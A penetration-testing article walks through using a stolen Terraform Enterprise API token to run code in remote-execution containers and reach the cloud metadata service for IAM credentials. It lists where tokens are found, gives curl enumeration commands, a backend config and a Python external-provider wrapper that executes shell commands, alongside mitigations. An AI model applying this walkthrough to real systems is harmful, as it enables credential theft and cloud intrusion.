Article by Nick Frichette.

Terraform Enterprise: Attack the Metadata Service

Terraform Enterprise is a self-hosted version of Terraform Cloud, allowing organizations to maintain their own private instance of Terraform. There are many benefits for an enterprise to run this, however, there is also a default configuration that Red Teamers and Penetration Testers can potentially take advantage of.

If Terraform Enterprise is deployed to a VM from a cloud provider we may be able to access the instance metadata service and leverage those credentials for further attacks.

"By default, Terraform Enterprise does not prevent Terraform operations from accessing the instance metadata service, which may contain IAM credentials or other sensitive data" (source)

Remote (Code) Execution

For many engineers, their first experience with Terraform was locally on their workstations. When they invoked a terraform apply or terraform plan all of that activity took place on the local machine (reaching out to cloud APIs, tracking state, etc.)

An exciting feature of Terraform Enterprise (and Cloud) is the idea of Remote Execution, wherein all those operations take place server-side. In Terraform Cloud the execution takes place in "disposable virtual machines". In Terraform Enterprise however, it takes place in "disposable Docker containers".

This introduces an interesting opportunity; If you compromise credentials to initiate a plan or apply operation (or otherwise have access to them. I.E insider threat) we can execute code in a Docker container on the Terraform Enterprise server.

Docker Containers and Metadata Services

Aside from container escapes, running user-supplied code in a container is an interesting opportunity in a cloud context. The specifics will depend upon the cloud provider. For example, in AWS, an attacker could target the Instance Metadata Service. This would provide the attacker IAM credentials for the IAM role associated with the EC2 instance.

Other opportunities include things such as the instance user data, which may help enumerate what software is on the host, potentially leak secrets, or reveal what the associated IAM role has access to. It is also possible to use this to pivot to other machines in the VPC/subnet which would otherwise be inaccessible, or to attempt to hit services exposed on localhost on the TFE host (hitting 172.17.0.1).

Attack Prevention

It is worth noting that there are two potential methods to mitigate this attack. The first is the configuration of restrict_worker_metadata_access in the Terraform Enterprise settings. This is not the default, meaning that out of the box Terraform operations have access to the metadata service and its credentials.

The second option would depend upon the cloud provider, but options to harden or secure the Metadata Service can also be used. For example, IMDSv2 in an AWS situation would prevent the Docker container from reaching the Metadata Service.

Walkthrough

Acquire a Terraform API Token

To begin, you'll first need to 'acquire' a Terraform API Token. These tokens can be identified by the .atlasv1. substring in them.

As for where you would get one, there are a number of possible locations. For example, developer's may have them locally on their workstations in ~/.terraform.d/, you may find them in CI/CD pipelines, inappropriately stored in documentation, pull them from a secrets vault, create one with a developer's stolen credentials, etc.

Identify the Organization and Workspace Names

With access to a valid API token, we now need to find an Organization and Workspace we can use to be nefarious. The good news is that this information is queryable using the token. We can use a tool such as jq to parse and display the JSON.

curl -H "Authorization: Bearer $TFE_TOKEN" \
https://<TFE Instance>/api/v2/organizations | jq

Next, we need to identify a workspace we can use. Again, this can be quereyed using the organization id we gathered in the previous step.

curl -H "Authorization: Bearer $TFE_TOKEN" \
https://<TFE Instance>/api/v2/organizations/<Organization ID>/workspaces | jq

Configure the Remote Backend

Now that we have the organization and workspace id's from the previous step, we can configure the remote backend. To do this, you can use this example as a template with one exception. We will add a hostname value which is the hostname of the Terraform Enterprise instance. You can store this in a file named backend_config.tf.

terraform {
  backend "remote" {
    hostname = "{{TFE_HOSTNAME}}"
    organization = "{{ORGANIZATION_NAME}}"

    workspaces {
      name = "{{WORKSPACE_NAME}}"
    }
  }
}

Initialize the Backend

With the backend configuration file created we can initialize the backend with the following command.

terraform init --backend-config="token=$TFE_TOKEN"

If everything has worked as it should, you should get a Terraform has been successfully initialized notification. To test this, you can perform a terraform state list to list the various state objects.

Executing Code

Now that our backend has been properly configured and we can access the remote state, we can attempt to execute code. There are several ways this can be done (such as using a local-exec provisioner) however, for our purposes we will be using the External Provider.

"external is a special provider that exists to provide an interface between Terraform and external programs".

What this means is that we can execute code during the Terraform plan or apply operations by specifying a program or script to run.

To do this, we will create an external provider in our existing backend_config.tf file (if you already have an existing Terraform project you can add this block to those existing files).

...

data "external" "external_provider" {
    program = ["python3", "wrapper.py"]
}

output "external_provider_example" {
    value = data.external.external_provider
}

You may be wondering what the wrapper.py file is. In order to use the external provider, we must "implement a specific protocol" (source), which is JSON. To do this, we will wrap the result of the code execution in JSON so it can be returned.

Our wrapper script looks like the following (feel free to change to your needs).

import json
import os

stream = os.popen('id')
output = stream.read()
result = { "result" : output }

print(json.dumps(result))

Terraform Plan

Now that the wrapper script is created (and modified), we can execute code via terraform plan. This is a non-destructive action, which will evaluate our local configuration vs's the remote state. In addition, it will execute our remote provider and return the result to us.

From here, we can modify our wrapper script to do a variety of things such as (the purpose of this article) reaching out to the metadata service and pulling those credentials.